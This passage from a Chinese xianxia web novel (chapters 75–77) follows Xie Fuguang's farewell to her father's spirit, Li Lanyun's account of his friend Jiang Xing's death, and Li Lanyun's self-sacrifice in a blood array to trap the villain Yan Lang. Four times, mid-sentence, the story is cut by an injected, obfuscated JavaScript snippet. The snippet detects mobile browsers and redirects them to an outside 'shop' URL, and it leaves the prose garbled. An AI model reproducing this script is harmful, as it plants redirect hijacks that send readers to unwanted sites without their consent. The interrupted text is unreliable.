她只是觉得丢脸,还有点晦气,但人要为走的每一步负责,她一时大意,搭上条命也是咎由自取。 “乖乖,不怕死的人无畏赴死,不是什么感天动地的事,真正能‘惊鸿’的一念,是拼命求生的人为了自己或别人的生向死而活。”谢白扇说着又扫了眼两侧安静整齐排列的亡灵,“亡灵们身上死气沉重,你的生念又过分薄弱,你心性如此,我岂敢把它们交给你,只怕不待你统御它们辅助一念惊鸿,它们先将你意识侵蚀了。” 厉鬼号令万千妖魔,颜琅身后是数不尽的魔兵,若谢扶光找不到同样数量庞大的助力,很难在与颜琅的对战中获胜,摆在她面前的确然是个很诱人的“见面礼”。 坦白说,谢扶光很想要。 “你说的,我会尽力做到。”她说。 “你这样说,是真的听进去了,还是只是想利用它们赢下那一战呢?”谢白扇垂眸看向左腕,宛流萤残存的灵识已很少了,他也该走了,“时间短暂,我没法教你太多,更多的还要靠你自己悟。” “见面礼留给你,我陪你母亲去湖底睡了。” 温柔一句似无情宣判,如一道霹雳惊雷炸进谢扶光上一秒还挣扎在生死间的大脑,饶是早有准备,她全部心念还是骤然就乱了套。 她不会表达亲昵,甚至难言不舍情绪,双膝一弯又要沉默叩头,前额在触及湖岸之前却被谢白扇轻飘飘一道念力阻住。 “乖乖,未来一战爹祝你顺利,”看着女儿,他纵有万千不放心,却也只能把路交给她自己来走,“此事了结后,别再一心只知练刀,到各处玩玩,你会发现这世间还不错。” 头顶金光未散,光中虚影却沉入水底,不多时,亡灵恸哭剐蹭耳膜,谢扶光知道它们在哭什么,她咬着牙关闭了闭眼,没有眼泪淌下,那里仿佛已干涸了很久。 谢扶光将亡灵们收入空间法器,仍是选择将被谢白扇阻止的头磕完,然后她又在湖岸多跪了一会儿,脑海里乱麻似的念头横冲直撞,因太过复杂,又像什么都没想。 从千秋雪离开,一行人再度登上小美人的龙背,这次目的地又回到了康城,那里是李兰允的故土,也是他同江星一起生活过的温房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019397|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李兰允无端变卦,他又说不想见江星了,只愿回去老地方了度残生。 谢扶光不必再硬着头皮告知他江星的死,但对他突然的转变,她多少也能猜出几分缘由,多半是先前提及此事时,她的表情太纠结,让他窥见了什么。 一路半是想着父亲的话,半是对李兰允心虚,谢扶光缩在崔惊厄身后,一直没怎么开口。 倒是李兰允这个话说不利索的健谈起来,颇有兴致地给他们继续讲他同江星的往事。 江星没将那晚的闲聊放在心上,翌日一早退了烧,就将那半截灵脉又忘了个干净,李兰允却将此事记在心里,每有闲暇总要拎出来惦念几轮。 大概是“念念不忘必有回响”,很长一段时间李兰允都深觉自己运气够好,因为这事还真叫他惦出来个后续。 李兰允第一次见夙游就在这晚后的不久,那时真正的谢白扇还活着,一切祸事尚未发生,夙游还只是云游至康城的逍遥仙长。 李兰允至今记得那一天,他拨开人群挤到夙游面前,恳请夙游帮忙看看江星的灵脉,夙游看过后称这灵脉还有重续的可能,他被暴烈的欢喜砸中,一切因太过顺利好似一场幻梦。 治灵脉这事其实并不算很麻烦,夙游性子也善,连灵药都是自掏腰包,没向他们索取任何报酬。 李兰允感念之余,还生出几分窃喜,私以为是捡了个天大的便宜,江星对此却兴致不高。 “前些年我路遇道士曾算过一卦,那道士称我断这半截灵脉其实是挡了死灾,是件因祸得福的好事,”江星看起来忧心忡忡,“现在这样的日子我觉得很舒坦,若那道士所说为真,贸然打破反而不好,不如这半截灵脉我就不要了。” 李兰允自然不肯,尽管已“跌下神坛”多年,他骨头里仍存留着做少爷时说一不二的执拗,经年累月不足以消解。 “他最是耳根子软,不经磨,这事最后终究是依了我。”日光炽烈,李兰允两眼微微眯起,他的形貌停在开启化影境的二十二岁,他本人长得又好,乍一瞧,总给人以翩翩少年的错觉,这会儿目光流转间,总算泄出十九年求死不能的沧桑韵致。 江星修好灵脉后,在家每日会抽空舞一会儿剑,但从不在外展露才能,倒是李兰允,很喜欢拿好友在外吹牛,此事一传十十传百,江星很快成了整个康城的新晋红人。 李兰允也跟着很是扬眉吐气了一把,就连几年前赶他出门的李家老爷,也带着新认来的“仲永”儿子,前来求江星指点一二。 钱财已不缺,声名也有了,那大概是李兰允最快活的一段日子,此刻隔着多年苦楚忆起,竟似浮了层金粉一样模糊。 “这样的日子过了不到两年,我第二次见到夙游仙长。”李兰允声音很轻,小美人放缓了腾云速度,不至让他的话被风声搅碎,“世事难料,真没想到,再见仙长时竟会是那般模样,世事果真难料……” 75.生死别离 李兰允在屋门外捡到夙游时,昔日的逍遥仙长已是气息奄奄,命在旦夕。 夙游沾满鲜血的手紧攥一物交到李兰允掌心,他尚未从震惊中回神,怔然接过,看着自己的手也被染作一片鲜红,仿佛预兆了某种鲜血淋漓的宿命。 “劳烦拜托那位江小友……护送此物交给悲问寺的蒲愚大师,请大师暂代为保管,待渡业山的谢扶光大小姐长大后交给她,这是开启一个地方的钥匙,里面有她母亲留给她的东西……”夙游说着,又在呛咳中喷出一大口血,“切记,不要让此物落入她父亲谢白扇手里,他有问题!” “将公子卷入,实乃万般无奈之举,然兹事体大,我逃亡此地命不久矣,方圆百里只识得那位江小友一个修士,没有法子,真是没别的法子了……” 说到这儿,他耳朵突然动了动,警觉道“他们追来了”,旋即便强撑起身体,离开了李兰允的小石屋,临走还不忘施诀清理了满地血迹。 李兰允头一遭见识这样的场面,发愣发了全程,待整理好自己走回石屋,已是两腿发软。 巧的是江星恰好去临城办事,这夜没有回来,李兰允心下难安一宿,出门想再碰碰运气,寻找那位夙游仙长的踪迹,这次他特意携了纸笔,以免记不清关键字句。 李兰允到底移植过三次灵脉,虽都未成功,却留了几丝敏锐在他血液里。 他遵循自己的直觉寻到城郊,在一座荒草丛中寻到了夙游……的尸体。 李兰允当即就吓怕了。 在这一瞬,他想起江星曾向他道出的那句隐忧。 “那道士称我断这半截灵脉其实是挡了死灾,是件因祸得福的好事……” 当时他还不信,如今思及,真是寒意砭骨。 他后知后觉品出悔意:他坚持让江星修复灵脉,怕不是把他的“死灾”重新引了出来。 他想:一定不能告诉江星这件事! 李兰允自问并非好人,饶是夙游再说什么“兹事体大”,也不足以令他为之冒险。 可夙游为江星重续了灵脉,便是于他们有恩,他还做不到以怨报德。 于是他静悄悄地将此事揽下,知自己不擅演戏,唯恐在江星面前露了破绽,特地赶在江星回家前便独自踏上了前往悲问寺的路,只留下一张字条称“临时有个大生意,去翠果山庄一趟,归期不定。” 翠果山庄在悲问寺的反方向。 他算盘打得很好,如此一来,即便几日后江星回过味来觉出不对,也不至牵扯进这摊浑水。 “我自以为方方面面都已打算好,可惜他太敏锐。”李兰允说着旧事,无奈摇头。 大概有所感应,李兰允走的那日,身在临城的江星右眼皮狂跳不止,他心下不安,将原本还有一日的归期提前一天,当晚就打开了空荡荡的房门。 江星灵脉修好后,五感相较常人敏锐得多。 他先是闻到房门前未被法诀除净的血腥气,猜测出了事,紧接着就看到李兰允“此地无银三百两”留下的信。 江星太了解李兰允,他甚至没犹豫,当即朝着翠果山庄的反方向,沿官道往南追去。 入夜城门紧闭,但他已是修者,身负灵力,轻易就从几十丈城墙跃出。 天还未亮,他就逮到了臊眉耷眼龟行在黄泉路上的李兰允,他背上负着个巨大包裹,沿途受了不少盗贼觊觎。 江星一会儿绕到他前头清路障,一会儿又回到后头扫尾巴,细致周全为小李少爷的“黄泉路”保驾护航。 直觉李兰允不会告以实情,江星一路没有现身,擎等着看这胆比针幣小的小少爷到底要背着他干什么。 可他这边在等,悲问寺那边亦有东西候了李兰允多时。 螭寐奉谢白扇命令,势必要拦下宛流萤留给谢扶光的灵钥。 彼时厉鬼刚刚降世,他其实很不服气,但妖魔对厉鬼的服从刻在灵魂里,他难以违逆,正是万般憋屈时,就想寻个人开刀。 螭寐在与夙游关系好的几大宗门周围都埋伏了魔兵,自己抓阄挑了一个,恰是悲问寺。 于是,头一回踏上江湖的小羊迎面就撞上了阴间最凶恶的老虎。 “那一战惨烈,”李兰允寥寥一句带过血雨腥风,“他就死在我眼前,为了救我。” 江星如神兵突降,挡在李兰允身前,以初阶散修之力,强接了螭寐一招,于瞬间经脉筋骨尽断,整个人浑身是血地飞出十几米远。 打斗的动静吸引了悲问寺的修士,那位蒲愚大师也赶了来,但李兰允没能将灵钥交出去。 大师以自己血躯拖住螭寐,让李兰允快走。 或许是想让这个刚过弱冠的孩子活命;或许是不愿将祸水引入寺中,以自己一命全了与夙游的交情。 李兰允不懂这些大人物的事,他只知道江星活不成了。 江星后脑长得好看,那里生了块明珠碧玉骨,算命术士见了,总要赞上一句是有福气的骨相,然而那块福骨也已尽碎了。 江星留给他的最后一句是:“快逃,我生死有命,而你要往前走。” 李兰允背着江星尸身逃离战场,失魂落魄将他唯一的家人葬于百里外的异乡。 秋意浓,枫叶盛,奈何凛风似刀,剐落满地红。 李兰允踏满地红叶离开为江星建的荒坟,如踩过业火炼狱。 十六岁那年被李家父母扔出家门的冬夜不算心如槁木,因他们并非真正待他好的人,这一次却是真的万念俱灰。 “我有时真不知自己该不该后悔……” 李兰允叹息一声。 他乱入一段因果,失去了唯一的挚友,凉透了唯一肯在冬夜拉他一把的那双手,却历时十九年,终于弄懂了夙游当年那句“兹事体大”的分量。 “谢大小姐,”李兰允突然唤谢扶光,她思绪从故事里抽离,抬眼就听他道,“其实初见你的第一眼,我以为你该是很怕死的。” 谢扶光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036860|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没问缘由,静等他说下去。 “俗世百态,各人有各人的脾性,江星是个乐天知命的人,他安于现状,不喜欢纠结过往,更不会做无边际的畅想,但你不一样,你浑身每一根骨头都写着强求。说起来在这点上,我其实与你有几分相似,凡事无论对错,只要动了念头,就总想着争到手。” 李兰允静静看着她的眼睛,谢扶光瞳仁很黑,不是幽深的黑,反而因黑到了极致成就一种清澈,她不与敌人斗心机时,是个相当纯粹的人,喜欢什么、想要什么都写在眼睛里,能顺着目光淌下来。 她眼皮薄,眼型长,这样的眼睛轻易会显得凉薄,而每当她望向身边好友,无意识流露的珍重总能柔和这份锋锐。 她很重情。 “谢大小姐,你猜江星刚死那会儿,我想不想随他一起死?”李兰允毫无征兆发问。 谢扶光想了一会儿后点头。 当年他被赶出家门都差点抹了脖子,江星的离世对他打击只会更大。 李兰允见状笑了:“我一点都不想死,每一天,我都比死了还要难过,但我还是想活着。” “重情的人鲜少不怕死,因为肉/体的死亡会一并带走灵魂的记忆,记忆太过珍贵,我舍不得它们随孟婆汤化掉。”说到这儿,他不解发问,“所以我很奇怪,这个世界上你分明有着许许多多的留恋,为何又好像为了赢都能轻易抛下?” 谢扶光听出来了,李兰允前头那些都是话引子,重点是想帮她找到没有那“一念生”的症结。 她顺着他的问题想,其实若现在要她死,她一定是极抵触的,缘由就像李兰允说的那样,她有伙伴将她灵魂牵系于这个世界,她不愿离开他们。 可惜打斗中每个千钧一发的时刻,置身其中的人通常难以思考,一切反应全凭经年累月形成的本能。 是她的本能里没有“想活”这两个字。 幼年的事早随着重生糊成了团团虚影,但按宛流萤的说法,她自出世起便被作为厉鬼境的容器培养,谢白扇耗时多年倾注大量心血,只养出她这一个成品,足见其危险性,短短前半生她已与死亡有过太多次交锋。 当与死擦肩成为习惯,陷入一回生多回熟的怪圈,生念就很难再被激出来,何况谢白扇有句话说得不错,颜琅没有好好养她,这一世的她又孤身孑然,生念本就较大多数人都更薄弱。 “我没有不想活,”谢扶光理清楚思绪,闷闷道,“我只是……还需要点时间习惯。” 李兰允才与她相识,不解话中意,但崔惊厄听明白了。 “没事,想活就行,其他都可以慢慢来。”他说。 这一路谢扶光半是怕李兰允问江星的事躲着他视线,半是让崔惊厄挡风,一直缩在他身后,两人挨得很近。 小美人行进速度快,龙背上众人袍袖都被过路风吹得鼓起,广袍宽袖形成天然的遮挡,崔惊厄便借着这遮挡,右手悄然向后,牵来她的手握住,紧了紧掌心。 76.颜琅 康城,李兰允和江星住过的小院已随这段旧忆一起破败了,被尘灰埋得彻底。 但因着江星身死,李兰允也去做了象姑生意,城中人都觉这石屋风水怕是有问题,荒废多年没人再住进来,又因建屋的地界偏僻,并不碍事,一别多年竟得以保留下来。 只有贫民窟的乞丐们偶尔会倚着院墙凑合一宿,李兰允沿墙一路看去,未见熟人。贫民寿短,如今做低价工和乞讨的面孔也换了几轮。 抵达康城前,一行人先去城外接了宁磐和卢笑绒,宁磐于今晨高烧才退,他自身体质强健,又有赵东元和卢笑绒从旁照顾,情况已基本稳定。 小少爷伤虽稳定了,心却没定,他人刚醒,就又惦记着兴风作浪,好在这回做的是善事,他身子不方便动弹,便借由赵东元的傀儡出面,把留春馆那与权贵们沆瀣一气的老鸨狠狠揍了一顿,又扔下一大笔钱,放走了一众被丢进去受难的可怜象姑。 赵东元是个独行侠,见他们回来便告辞,剩下这些进入化影境的弟子与境主人李兰允做最后道别。 众人立于李兰允过去生活的石屋门前。 从前江星在时,总爱将门扉清理得相当干净,他说门面即生活的颜面,门面干净了,日子才能过敞亮。 而今门的每个边角皆已缀满蛛网,花花绿绿的蜘蛛热火朝天建设自己的家,李兰允在门外立了一会儿,这一霎他不似归人,更像过客,一时没有打扰。 江星死后,他回来过一趟。 可惜悲问寺离家太远,他又疲于躲藏和逃命,未能带江星尸身回来葬于家中树下,不然每逢秋日那片黄土之上还能覆一层桂花,安睡花下也算风雅。 李兰允那次回来没有待太久,他是来找东西的。 江星初修好灵脉那会儿,夙游给了他一沓修界书册,有仙盟正史和各宗特色,这是让他一旦后悔做散修了,可以再选择去处安身;此外还有许多基础典籍,这类典籍不涉密,凡修界中人皆可传阅,夙游不知他的擅长和喜好,就一股脑都送了过来。 李兰允原想从仙盟和各宗门史中找找看,除去蒲愚大师,还有谁有希望接下保存灵钥这一重任,无意从中抖出一个小薄册,大抵是夙游乱塞修士入门典籍时不小心顺进来的。 想来冥冥中自有天意,有关化影境的记载便存于那小薄册子里。 李兰允原只是随手翻了翻那薄册就搁在一边,可在看到仙盟正史首页的历任盟主信息,一颗心终是狠狠一沉。 他还记得夙游曾说谢白扇有问题,彼时他尚不知这谢什么扇即是传说中的仙盟盟主。 于那行文字里,他第一次窥见“兹事体大”的端倪,又不禁想:倘若连万众景仰的仙盟盟主都有问题,修界还有谁值得相信呢? 他那点将灵钥转交他人的侥幸念头就这样熄了。 再然后,他捡回薄册认真审视起化影境。 说起来,当时的他也存了几分置之死地而后生的心思。 化影境一旦开启,贸然终止灵钥就会粉碎,他既决定要守此物,不妨就狠一狠心把自己逼到绝路,总归……他本来也什么都不剩了。 就这样,他以决绝的一念,开启了绝望的十九年。 十九年间,死亡于他而言,是个可以在实在撑不下去时打开的锦囊,它是普适的,万般苦难都能在其中寻找到解法,从这个角度看它堪称神圣。 唯一不幸的是,这个锦囊只能开启一次,且一旦打开,就不能够合上,所以一定要珍惜再珍惜,慎重再慎重。 他小心翼翼守护着这独一无二的珍贵锦囊,自当年落难后养成的节俭品质发挥了妙用,一连十九年,他竟真的从未打开过它。 许多次,他由衷觉得自己当得“守财奴”中的翘楚。 李兰允强忍住始终没有打开他的锦囊,终于有一天,锦囊被他焐出了喜出望外的新宝藏。 那时距离他开启化影境已有十年之久,这时间长得出奇,人间的大戏台上数百年不一定能唱一出,类似谢扶光孤身闯完万里悲丘1001秘境得见天道,天道最喜欢召见稀奇的人。 就在这一年,李兰允向天道许了个愿望:他想见一见江星。 江星前世做多了好事,转世后投了个好胎,自幼投入修界最大的宗门渡业山,于剑术上的造诣比前世更高。 李兰允为他高兴之余,想到谢白扇这个隐于暗处的威胁,不免又替他担忧。 十年前在他开启化影境后不久,螭寐就找到了他,及至重见江星,他已与这大嘴巴魔尊打了近十年交道,十年间又得知了不少修界秘辛。 天道没有让两人直接相见,而是安排了一场梦中的会面,前世江星大李兰允几岁,既像他哥又像他半个爹,梦里这一见,江星却只是个十岁孩童。 李兰允短暂脱离灵钥和另一只魂魄的控制,恢复了自由身一场梦的时间,他带着江星回到了当年小屋,给他做了顿还算像样的饭,分别前叮嘱他“提防谢白扇,不要去万里悲丘”。 大抵两人的挚友缘分还未尽,江星醒后就在剑柄刻上了和李兰允手臂上相同的兰花刺青图案,以此纪念梦中的朋友,而这记兰花图案在九年后又成为了谢扶光在一众投影青石间选中李兰允的凭据。 因与果盘旋缠绕,终究闭合成为一个圆。 李兰允立于熟悉又陌生的门扉前,短暂唏嘘后定了定神,五指扣住掉漆的铜环轻轻一推。 “别——” 推门的瞬间,谢扶光那根已在多年鬼气侵蚀下淬炼得相当敏感的神经遽烈一抽,然而她反应还是慢了些,就在门从外推开的瞬间,四周一阵天旋地转,这扇门像机关,轻轻一触,就带着他们陷进了与宛流萤于瀚海的栖息地类似的另一个隐藏空间。 空间隔绝了风、声、日光与一切行人,幽闭而晦暗,空气污浊得令人窒息,既碍口鼻又碍眼,因为颜琅披着谢白扇的皮,正负手立于他们面前。 他的确是守株待兔,却不在万里悲丘化影境的入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056014|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,他竟是提前等在了这儿。 看见颜琅的一瞬,谢扶光手指凭本能一动,第一时间打起空间法器里那些亡灵的主意。 来了也好,拿他试试新招! 而就在她指尖即将探进腰侧凉丝丝的储物袋,另一段温热手指能预判她动作似的,先一步截了过来。 崔惊厄只是四两拨千斤一勾,又分出几点余光剔她一眼,谢扶光那点不知好歹的念头就偃了旗息了鼓,仿佛飘飘荡荡的灵魂又重被塞回了孤孤零零的躯壳。 她打了个激灵,将那只蠢蠢欲动作怪的手背回身后,紧急调整思路,用想活的念头来思考。 然后她发现,不光她舍不得死,颜琅也很舍不得。 “你不是来杀我的吧。”谢扶光先开口。 颜琅闻言轻笑:“我是不想杀你,但你若因此太看得起自己,是不太明智的。” 他说着一拂袖,此方隐藏空间的边界登时升起一圈黑雾屏障,舒扬舟尝试以剑尖触碰,被一股强大阻力反弹得退后数步。 “我今日来是想与你们谈谈,在谈出双方都满意的结果之前,贸然离席是不礼貌的。”颜琅说着“你们”,眼睛看着的始终是谢扶光,“坦白讲,我需要你的身体,而你想让他们活命,不如我们各取所需,你只需要付出一具躯壳,我甚至可保你魂魄不死,若你的朋友们今后安分,我保证不会杀他们。你完全可以相信我,毕竟,你大概也听螭寐抱怨过,我还是更喜欢和平。” 相处多年,颜琅第一次对她说这么多的话,比从前装人时还像个人。 但是…… “可惜了,颜琅,”谢扶光右腕一绕,带动乐命在空中旋了个漂亮的圈,“安分这个词不适合我的朋友,而我,也不是你的龙肝凤髓。” “我说颜大盟主,不用谈了,我们与你,谈不拢。”崔惊厄摆摆手,在旁帮腔。 颜琅遭到拒绝在意料之中,他依旧那副往日见惯了的神色,温文又淡漠,仿佛这表情已深深刻印在了他偷来的脸上。 “谢大小姐,先别忙着拒绝,今日的我早已不是与你神交十几年的那个愚蠢刀修,细想你我相识这许多年,还从未真正对一场招,不如你见识过我现在的功夫,再决定是你自己死,还是拉上所有人陪葬。” 为淬炼她躯壳与厉鬼境更适配,颜琅让谢扶光自幼精研自己刀式,这样算来,虽有故意恶心人之嫌,却也能称得一句“神交十几年”。 正巧有心探他虚实,谢扶光持刀立于众人身前,接受了他的过招邀请:“那就让我看看,你堕这一场鬼究竟求来了什么厉害的荣?” 颜琅闻言也不气,彬彬有礼做了个“请”的手势,还用眼神点了点其余几人:“你们可以一起上。” 说着,他掌心浮现与螭寐相似的黑气,只是这黑比螭寐的还要纯粹,也更浓重,多看几眼神志都会受到影响。 谢扶光闭目又睁开,定睛再瞧,竟于黑气中又窥见了那把粉碎于她刀下的郎绝刀。 77.英雄殁 颜琅活着时,郎绝是把灵刀; 颜琅死后,郎绝还活着时,它堕落成为祭坛中心的邪刀; 如今郎绝也死了,它又成了把鬼刀。 鬼刀是神秘的、莫测的,它穿着黑气做的盔甲,已然在一众法器中占据上风,偏它的刀身还是可变幻的,真如鬼魅一般,发起攻击时力量无匹,被其他法器打中前,它又能顷刻消散成烟,而当你以为它化烟散了,它又顷刻出现在你眼前,在最出其不意的位置,以最意想不到的角度。 好在颜琅做交易的诚意十足,这场对招只为震慑,并未真打算要他们性命,郎绝刀背第三次轻敲在谢扶光喉管,传来有如源自地狱的恶寒,颜琅合起掌心,郎绝与黑气一同散去,他如一个灵活的影子,眨眼间附到谢扶光身后。 “谢大小姐,我由衷奉劝你,方才我的提议,最好再想一想。” 这一句带着十足的睥睨意味,但在场除了李兰允、宁磐和卢笑绒,所有参与了过招的人都知道,他完全有傲视他们的实力。 颜琅实在太强,他做刀修时就是翘楚,而今加上厉鬼能力的辅助,两种极致力量叠加,被他发挥出出神入化的效果。 不止他的刀,他整个人也是一样邪门,攻时强悍,守时又若无骨,一眨眼功夫,他就能闪现在你的视野盲区,轻轻给你一记温柔杀招。 他有一百种方式能在短时间内杀光他们所有人,而他们却无法损他分毫,因他本就是鬼,哪怕这身皮烂了、碎了,也能立即脱身遁走。 除了宛流萤说的厉鬼境,他毫无破绽。 无人留意的角落里,李兰允缄默挪动在黑雾结界的边缘,不言语,也很少动作,认真扮演着空气一样的小角色,仔细瞧却不难发现,趁着场中央适才的过招,他已动作缓慢地绕了大半圈。 他两手十只指腹全部破损,化影境主人愈合能力惊人,近乎每行几步,他就要将愈合的皮肉再划开一次,反反复复间,鲜血洒了一路。 “指尖血滴成圈,血阵即成。” 这是二十年前江星教过他的保命手段。 血阵创设于百余年前,专为凡人所设,因当时修士与妖魔频频斗法,常有凡人夹在中间。 凡人力弱势薄,理应得到保护,当年几个修界大能一合计,就想了这么个法子出来。 凡人血肉里既无灵气也无邪气,很容易辨别,取他们指尖血滴成一个圆圈,血阵即成。 血阵成形后,一旦布阵的凡人死于阵中,血气就会化为囚笼,将圈内其余修士与妖魔长困最多三年之久; 而当那凡人活着走出圈外,半盏茶后血阵即自然消散。 当世凡人已鲜少知道这些。 一方面,修界与妖魔界已许久未起什么大冲突,二者约法八十八章,其中不乏对凡人的保护条款; 另一方面,万事万物皆是双刃剑,当年曾出过妖魔逼迫凡人布下血阵后自尽,久困阵中修士的先例。 有关血阵种种,前世的江星也不知道,还是转世拜入渡业山后,他受到正规教导,见识广了才听闻。 李兰允给他托梦那晚,他将此法告知,希望能保护梦中的凡人朋友平安。 没有人留意,李兰允走到圆的终点,滴下最后一滴血,默念江星教的简单口诀,血阵成形,闪烁起不祥的刺目红光。 谢扶光察觉异样,眼皮一跳,目光凛然看向李兰允:“你要干什么?” 崔惊厄在她问话时扫一圈四周血迹,他见多识广,显然知道血阵的传说,一双英挺剑眉也跟着一蹙:“李公子,我们当你是同伴,你可别背着我们自己行动啊。”他说着故作轻松的话,声音却沉得显然。 李兰允闻声抬眸,温煦一笑。 他的身体被别人操控太多年,轮到他自己,总是适应不好,做什么动作都显得怪怪的,这会儿不知打通了什么关窍,突然就驯服了四肢,将快瘦干了的腰背挺得笔直。 “诸位拿我当同伴,我自也当诸位是倾盖如故的朋友,今日朋友光临寒舍,我家徒四壁,身无长物,幸好还有一个珍藏多年的礼物可以送出。” 他说话时依旧声音轻柔语速缓慢,话说一半却止了礼物的话茬,再开口时他对谢扶光说:“谢大小姐,令尊所说‘置之死地而后生’的那一念,我好像有点明白了。” “就像……时至此刻,我依然很想活,但如若值得,我也不是不能死。” “李兰允,你不要冲动。”听到“死”字,舒扬舟沉声喝止。 “我早过了冲动的岁数,无论生死,都是我深思熟虑过的、最好的选择。”他轻笑笑,“说起来,我运气还可以,从十六岁的冬夜选择跟江星回家,到赶在螭寐找到我之前先行开启化影境,我还从没选错过。” “过了今日,我们恐难再见……”剩下的话才起个头,他胸口陡然一痛,是颜琅那把黑气凝成的郎绝刀直插进来,好在他尚未解除化影境,还来得及交代最后的几句。 “从前我总担心,我死后没人记得江星,今日啰啰嗦嗦向诸位絮叨了许多老掉牙的旧事,诸位既拿我当同伴,我便腆颜劳烦诸位,今后偶尔去一趟悲问寺二十里外的红叶山,替我给江星送些纸钱……”鬼刀郎绝在他胸口磋磨,李兰允口中呕血,但脊梁未弯,“这刀……嘶……剐得我肉疼,更多的我就不说了,你们要……要抓紧时间,这血阵与圈中妖魔是此消彼长的关系,他太强,我恐怕拖不住多久,祝你们……长命、安康。” 说完这一句,他眉眼弯起一个温和弧度。 意识到什么,谢扶光睁大了眼看他,试图仔细记住这位新同伴脸上的每一寸细节,然而只是转瞬间,李兰允的身影便模糊扭曲着消失在眼前,只留下一抹笑意挥之不散。 他终止了化影境,血阵中除颜琅与他以外的所有人,都是在化影境中试炼的弟子,能在顷刻间被万里悲丘传回,但颜琅不行。 即便颜琅不捅他这一刀,他也早已动了自尽的念头。江星曾说“君子自杀,死之有道”,他想,现在就到了那个时候。 他就是要用自己的死,将颜琅困于血阵,能困一日是一日,多拖一时是一时,谢扶光他们要做的是大事,他们得毁去颜琅的厉鬼境,时间紧迫,多一分一秒都是希望。 于是,他慷慨解开守了半辈子没舍得用的死亡锦囊,试图从中偷一点时间,作为礼物送给他的同伴们。 失去化影境,他胸口的血洞再也不会愈合了。 李兰允强吊着生机的一口气骤然泄去,身体一软瘫倒在地。 往事走马灯般闪过,他缄默看着,不无感慨。 试想他这一生,体会最深的应是那句“塞翁失马焉知非福”: 当年他因一个荒唐的由头被赶出李府,却得遇改变了他一生的挚友; 而他心心念念求夙游仙长医好江星的灵脉,也为他们招致了弥天祸端; 因着这祸端,江星惨死,他十九年生不如死,到了竟又得了今日之机缘; 而死到临头之际,他能为同伴们多争取些时间,还要感谢当年未能成功移植的三根灵脉…… 他有些浪漫地想,或许当年枉流的血,正是为了成就今天。 李兰允倒地残喘,大片鲜血染红熟悉的小院,可惜当年院中桂花树已枯死,不然他长眠树下,来年秋日还能等到落花轻吻骸骨。 “你以为你这破阵法能困我多久?”颜琅缓步上前,低头俯视李兰允,如同睥睨一只蝼蚁,他抬起脚,似乎想狠狠跺在李兰允胸前伤口,想了想又怕弄脏金线纳成的华贵鞋底,便只是挥手向那血洞里添了点黑气当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081051|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐料。 他本不喜欢将事情做的这么难看,但不知是这些年在鬼蜮混得久了,染上许多坏习性,还是这姓李的区区凡人搅黄了他原本稳操胜券的谈判,这种挣扎求生的蝼蚁行径,令他想起一些被夺壳后魂魄依然与他作对的故人。 在他堕鬼前,那本是他最崇敬的一种人,如今却要以敌人姿态欣赏他们大仁大义,这令他很不高兴,每每看见,都很难做到冷静。 黑气在李兰允伤口涌动,李兰允的血从七窍汩汩而流,喷得满脸。 在这一霎他想到江星,突然哈哈大笑起来。 “你还……还记不记得江星?”他问。 颜琅原本不记得,这些年他剥了太多不听话修士的魂魄,江星并没什么特别。 但在谢扶光魂魄里的鬼气尚未驱除时,他跟着也听了些李兰允和江星的旧事,来的路上特地回忆过,便记起了一些。 “我告诉你,你拿刚刚那群人当朋友,他们却把你当傻子骗,”颜琅满含恶意地笑,“江星的皮,我三年前就扒了。” 李兰允没有如他想象的那样大声哭嚎亦或破口大骂,他依然在笑,如今化影境终结,他无须再操控打入身体的傀儡才能维持行动,表情生动许多。 “那我也告诉你……”他的声音已经很轻了,但颜琅耳识远胜旁人,要听清还是不难,“我这招……血阵……就是江星教的……” “你早早杀了他……他却能时隔几年,借我之手困住你,”李兰允意识已有些涣散,全凭游丝般的一口气撑着说完剩下的话,“你瞧不起我,但过去十九年……你就是……就是拿我一点办法也没有。” “颜琅,我们……没有输,他们也……也不会。” 李兰允说完,力竭闭上眼,仿佛又看到二十多年前那个黄昏,江星一把小木剑挑飞他的亮银鞭。 